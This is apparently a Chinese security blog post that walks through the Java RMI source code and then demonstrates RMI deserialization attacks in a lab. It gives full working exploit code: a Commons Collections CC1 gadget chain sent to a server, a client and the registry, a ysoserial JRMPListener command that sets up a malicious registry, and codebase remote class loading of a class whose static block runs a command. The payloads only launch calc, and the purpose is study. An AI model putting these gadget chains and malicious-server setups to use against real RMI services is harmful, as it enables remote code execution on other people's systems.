前言

时间有限，目前只跟完了RMI的源码分析部分，攻击和绕过只有下周再来了。
不过跟源码也已经发现了一些有意思的反序列化点，也算是为后面学习打基础了。

更新：RMI的攻击分析也差不多结束了，还差JEP290的绕过不太想看，我要去修手机了。

源码分析

看了一些师傅的文章，发现RMI交互这块内容写得都异常混乱，大篇幅的文字，很容易看得云里雾里。
这里我按照下图标号的顺序，依次调试每一块代码，并对代码进行标注，希望能对师傅们有所帮助。

推荐先看完组长的视频，自己跟着调一遍，此时可能会感觉云里雾里、不知所云，这是正常的；
接着再看素十八师傅的博客，主要是源码分析这一块，再调试一遍，基本就能掌握了。

一图胜千言

服务端创建注册中心

创建RegistryImpl对象


setup#UnicastServerRef#exportObject暴露RegistryImpl对象


LiveRef#exportObject暴露Target对象，三层套娃。
LiveRef#exportObject(Target target)

TCPEndpoint#exportObject(Target target)

TCPTransport#exportObject(Target target)

最后，把封装了RegiseryImpl_Stub的Target记录进hashtable里，至此注册中心创建完成。

服务端创建远程对象

创建RemoteObjectImpl对象

调用父类UnicastRemoteObject构造函数，二层套娃。


UnicastRemoteObject#exportObject暴露RemoteObjectImpl对象，二重套娃。


UnicastServerRef#exportObject暴露RemoteObjectImpl对象

LiveRef#exportObject暴露Target对象，三层套娃。
LiveRef#exportObject(Target target)

TCPEndpoint#exportObject(Target target)

TCPTransport#exportObject(Target target)

最后，把封装了RemoteObjectImpl_Stub的Target记录进hashtable里，至此远程对象创建完成。

服务端远程对象绑定注册中心

调用RegistryImpl_Stub#bind()绑定远程对象与名称，将name和对应obj存入bindings，绑定过程到此结束。

注册中心接受并处理服务端绑定请求

注册中心通过TCPTransport#handleMessages处理服务端发过来的绑定相关的请求。

由于是注册中心代理对象，套娃调oldDispatch处理分发请求

再套娃调用RegistryImpl_Skel#dispatch方法，这个方法真正处理服务端发过来的绑定请求

反序例化服务端传过来的bind(name, remote)里的name和remote，这里如果传恶意remote对象则存在漏洞

客户端获取注册中心代理对象

套娃一层getRegistry，函数重载

根据host/ip封装LiveRef和UnicastRef

通过Ref和RegistryImpl来创建注册中心的代理对象

到此为止，注册中心的代理对象就创建完毕了。

客户端通过注册中心代理查找远程对象

调用RegistryImpl_Stub#lookup获取查找的远程对象的代理
下面这里直接return var23，返回反序列化后的远程对象的代理

注册中心收到查询请求并返回远程对象的代理

这里开始涉及C/S交互，首先DEBUG起一个RMIServer，断点打在TCPTransport#handleMessages，
这个函数专门用于处理请求信息，然后运行RMIClient，由于执行了lookup方法，所以能命中断点开始调试。

调用serviceCall进一步处理网络请求信息，最后调用到UnicastServerRef#dispatch

这里套娃调用UnicastServerRef#oldDispatch

再套娃调用skel#dispatch，最终肯定是通过服务端的代理skel来处理网络请求的

调用RegistryImpl_Skel#dispatch，获取Client传过来的name，另外新建RegistryImpl，在Server端本地调用RegistryImpl.lookup(name)，获取返回的远程对象，序列化写回网络连接中，传给Client。

客户端调用远程对象的方法并获取返回结果

同样涉及C/S交互，不过这里DEBUG的是Client，Server正常运行起就行，Client DEBUG启动。

Client获取的是远程对象的动态代理stub，它调用任意方法都会走到invoke里
三层套娃调用


最后一层，真正进行C/S交互，客户端调用远程对象方法，并且从Server端获取到返回值。


至此，Client调用远程对象的方法结束。

服务端接收调用函数请求并返回执行结果

Server还是断在TCPTransport#handleMessages，DEBUG起Server，正常运行起Client。
handleMessages会获取很多请求，像是之前注册中心的lookup，这里多跳几下就能到调用方法的请求了。

调用serviceCall进一步处理网络请求信息，最后调用到UnicastServerRef#dispatch

UnicastServerRef#dispatch，真正处理网络请求，并且返回响应的函数。
与调用lookup的不同之处如下

主要逻辑如下

至此，服务端完成接受客户端调用（传参）、本地执行函数、返回执行结果这个过程。

RMI的攻击面

客户端攻击服务端

攻击原理：Client调用远程对象的方法的时候，会把参数序列化传到Server端，Server端会反序例化传进来的参数
这里需要Interface里有参数为非基本类型的函数。
详情见：服务端接收调用函数请求并返回执行结果
下面是客户端和服务端的代码，推荐客户端和服务端放在两个不同的工程下。

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    // public void vulFunc(HelloObject o) throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public void vulFunc(Object o) throws RemoteException {

    }

    // @Override
    // public void vulFunc(HelloObject o) throws RemoteException {

    // }
}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    // public void vulFunc(HelloObject o) throws RemoteException;
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1.get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // invoke the method of remote object
        stub.vulFunc(getCCPayload());
    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

先运行Server端启动代码，再运行Client端启动代码，成功执行CC1。

上面是攻击的是参数为Object类型的漏洞函数，因为基本类型不会走反序列化，是可以成功的。
但是要求Server端存在一个参数为Object的函数，攻击面还不够广，于是我们思考，如果Server端的接口里的漏洞函数的参数是自定义的HelloObject类，而服务端接口的参数我们还是传Object，是否能够利用成功？

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    // public void vulFunc(Object o) throws RemoteException;
    public void vulFunc(HelloObject o) throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    // @Override
    // public void vulFunc(Object o) throws RemoteException {

    // }

    @Override
    public void vulFunc(HelloObject o) throws RemoteException {

    }
}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulFunc(Object o) throws RemoteException;
    public void vulFunc(HelloObject o) throws RemoteException;
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1.get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // invoke the method of remote object
        stub.vulFunc(getCCPayload());
    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

先运行Server端启动代码，再运行Client端启动代码，发现报下面的错误：

看报错很简单，Server端不支持Object类型参数的函数，那是不是就利用不了了？
不卖关子，在这个PPT中介绍了4种方式，绕过判断实现反序列化，这里我们选最简单的debugger方法。
正常启动Server端启动代码，DEBUG启动Client端启动代码，hook点在invokeRemoteMethod
右键method，点击Evaluate Expression，会弹出修改method的对话框

把method改成参数为HelloObject类型的漏洞函数，点击Evaluate赋值。
注意：这里能改是因为Client端的接口既写了参数Object的函数，又写了参数HelloObject的函数

一路consume，也成功执行CC1代码。

服务端攻击客户端

攻击原理：客户端调用远程对象的函数，函数在服务端执行完毕以后，函数的返回结果会在服务端序列化，通过网络连接传输，再在客户端反序列化，那么如果恶意的服务端返回一个恶意的函数执行结果，客户端就会受到反序列化攻击。和客户端攻击服务端是同一个流程下的问题。
详情见：客户端调用远程对象的方法并获取返回结果

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulFunc() throws Exception;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public Object vulFunc() throws Exception{
        return getCCPayload();
    }
    public static Object getCCPayload()throws Exception{
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }

}

public class RMIServer {
    public static void main(String[] args) throws RemoteException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, MalformedURLException, AlreadyBoundException {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulFunc() throws RemoteException;
}

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;

import java.io.FileOutputStream;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        stub.vulFunc();
    }
}

先运行Server端的启动代码，再运行Client端的启动代码，成功执行CC1命令。

客户端攻击注册中心

攻击原理：客户端主要是lookup和unbind，这两个函数接收一个客户端传过来的String类型的参数，然后去查找对应的绑定的远程对象是否存在，但是实际上，注册中心是先把传过来的String类型参数反序列化，再进行类型转换的，在类型转换之前反序列化攻击就可以完成，那么我们如果lookup传一个恶意对象，注册中心就会反序列化RCE。
详情见：注册中心收到查询请求并返回远程对象的代理
需要注意的是，lookup方法本身并不支持传输一个恶意对象，所以需要我们自己实现封装一个lookup方法。

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }
}

public class RMIServer {
    public static void main(String[] args) throws Exception {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectInterface remoteObject = new RemoteObjectImpl();

        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
//        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        fakeLookup(registry);
        // 3. invoke the method of remote object
//        stub.sayHello("I'm jasper you motherfucker.");

    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
    public static void fakeLookup(Registry registry) throws Exception {
        // 获取ref
        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码，去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(getCCPayload());
        ref.invoke(var2);
    }

先运行Server端启动代码，再运行Client端启动代码模仿lookup操作，成功执行CC1。

服务端攻击注册中心

攻击原理：和客户端差不多，服务端主要使用bind函数把远程对象序列化的方式传给注册中心，注册中心通过网络连接对其反序列化，那么如果服务端bind的时候传一个恶意对象，就会导致注册中心反序列化触发RCE。
详情见：注册中心接受并处理服务端绑定请求
这里还有个问题，bind函数的参数要求是Remote类型的，而我们CC链构造的是Object类型的，这里我们用到的是动态代理，把恶意对象封装成Remote类型的动态代理对象传进去。

public class RMIServer {
    public static void main(String[] args) throws Exception {
            System.out.println("Remote Server start...");

        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        	// dynamic proxy cast to Remote type
        Object evilObject = getCCPayload();
        Remote remoteObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, (InvocationHandler) evilObject));
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://localhost:1099/remoteObject", remoteObject);

    }
    public static Object getCCPayload() throws Exception {
        //CC1-LazyMap
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key","value");
        Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
//        lazyMap.get("Jasper");
        Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstuctor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstuctor.setAccessible(true);
        InvocationHandler aih = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMap);
        Map lazyMapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),aih);

        InvocationHandler aih2 = (InvocationHandler) aihConstuctor.newInstance(Override.class,lazyMapProxy);
        return aih2;
    }
}

运行Server端启动代码，成功执行CC1.

注册中心攻击客户/服务端

攻击原理：这里实际上是利用JRMP协议进行攻击，也就是RMI中的网络通信协议，它在建立连接的时候，注册中心会给请求连接的一端（Server/Client）发送一些序列化的数据，然后请求连接的一段对其进行反序列化。
这就意味着，只要服务端或者客户端获取到 Registry，并且执行了list、unbind、lookup 、rebind、bind方法之一，自身就会被RCE。
本质上其实是JRMP协议的服务端对JRMP协议的客户端的攻击。
这里我们在终端，用ysoserial起一个恶意注册中心：

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'calc'

以Client端为例，让Client端获取到恶意注册中心的代理对象，同时执行lookup

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("10.202.12.129", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        //        stub.sayHello("I'm jasper you motherfucker.");
    }
}

成功RCE，执行CC6并且弹出计算器

服务端同理，不再演示。

动态类加载

攻击原理：java.rmi.server.codebase简单来说就是远程的classpath，当RMI的流程出现本地加载不到类的时候，会选择从codebase去加载，也就是远程include代码，显然存在很大漏洞隐患，触发加载远程类有下面的情况：

• Server端函数的返回类型为接口定义类型的子类，Client端接收返回结果时找不到子类
• Client端传参时传接口定义类型的子类，Server端接收参数时找不到子类

注意：无论是客户端还是服务端要远程加载类，都需要满足以下条件：

• java.rmi.server.useCodebaseOnly 要设置为false，从JDK 6u45、7u21开始的默认值就是true
• 配置policy文件规则，允许从远程加载类库
• 配置RMISecurityManager

攻击Client端

public class HTTPServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HTTPServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HTTPServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    static {
        //这里由于在static代码块中，无法直接抛异常外带数据，不过有其他方式外带数据，可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数，所以为了方标直接写在static代码块中
        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulnFunc()throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface{

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public ExportObject vulnFunc() throws RemoteException {
        return new ExportObject();
    }
}

public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

public class RMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Remote Server start...");

        // 设置codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);

        // 2.generate remote object
        RemoteObjectImpl remoteObject = new RemoteObjectImpl();
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://127.0.0.1:1099/remoteObject", remoteObject);

    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public Object vulnFunc()throws RemoteException;
}

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // JDK 6u45、7u21之后，需要设置useCodebaseOnly
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        // 配置policy文件以允许从远程加载类库
        System.setProperty("java.security.policy","D://java.policy");
        // 开启RMISecurityManager
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        stub.vulnFunc();
    }
}

grant {
    permission java.security.AllPermission;
};

先运行HTTPServer启动代码，起一个codebase，然后运行Server端启动代码，再运行Client端启动代码
成功执行HTTPServer的恶意返回结果子类的静态代码块。

攻击Server端

public class HTTPServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HTTPServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HTTPServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

public class ExportObject implements ObjectFactory, Serializable {

    private static final long serialVersionUID = 4474289574195395731L;

    static {
        //这里由于在static代码块中，无法直接抛异常外带数据，不过有其他方式外带数据，可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数，所以为了方标直接写在static代码块中
        try {
            exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulnFunc(HelloObject helloObject)throws RemoteException;
}

public class RemoteObjectImpl extends UnicastRemoteObject implements RemoteObjectInterface {

    protected RemoteObjectImpl() throws RemoteException {
    }

    @Override
    public String sayHello(String s) throws RemoteException {
        String upS = s.toUpperCase();
        System.out.println(upS);
        return upS;
    }

    @Override
    public void vulnFunc(HelloObject helloObject) throws RemoteException {
    }
}

public class HelloObject {
}

public class RMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("Remote Server start...");
        // JDK 6u45、7u21之后，需要设置useCodebaseOnly
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
        // 配置policy文件以允许从远程加载类库
        System.setProperty("java.security.policy","D://java.policy");
        // 开启RMISecurityManager
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
        // 设置codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");


        // 1.create registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 2.generate remote object
        RemoteObjectImpl remoteObject = new RemoteObjectImpl();
        // 3.bind the remote object to the registry
        Naming.rebind("rmi://127.0.0.1:1099/remoteObject", remoteObject);

    }
}

public interface RemoteObjectInterface extends Remote {
    public String sayHello(String s) throws RemoteException;
    public void vulnFunc(HelloObject helloObject)throws RemoteException;
}

public class HelloObject {
}

public class ExportObject extends HelloObject implements ObjectFactory, Serializable {
    private static final long serialVersionUID = 4474289574195395731L;

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

public class RMIClient {
    public static void main(String[] args) throws Exception {

        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        // 1. get the stub of registry
        Registry registry = LocateRegistry.getRegistry("localhost", 1099);
        // 2. get the stub of remote object
        RemoteObjectInterface stub = (RemoteObjectInterface) registry.lookup("remoteObject");
        // 3. invoke the method of remote object
        ExportObject exportObject = new ExportObject();
        stub.vulnFunc(exportObject);
    }
}

首先运行HTTPServer启动代码，起一个codebase，然后运行Server端启动代码，再运行Client端启动代码
成功执行HTTPServer的恶意参数子类的静态代码块。

JEP290 绕过

TODO

参考链接

源码分析
https://www.bilibili.com/video/BV1L3411a7ax
https://su18.org/post/rmi-attack
https://tttang.com/archive/1530/
https://xz.aliyun.com/t/9261

攻击面
https://paper.seebug.org/1091
https://su18.org/post/rmi-attack
https://goodapple.top/archives/520
https://goodapple.top/archives/321
https://myzxcg.com/2021/10/Java-RMI%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8
https://www.anquanke.com/post/id/257452
https://xz.aliyun.com/t/7930
https://xz.aliyun.com/t/7932

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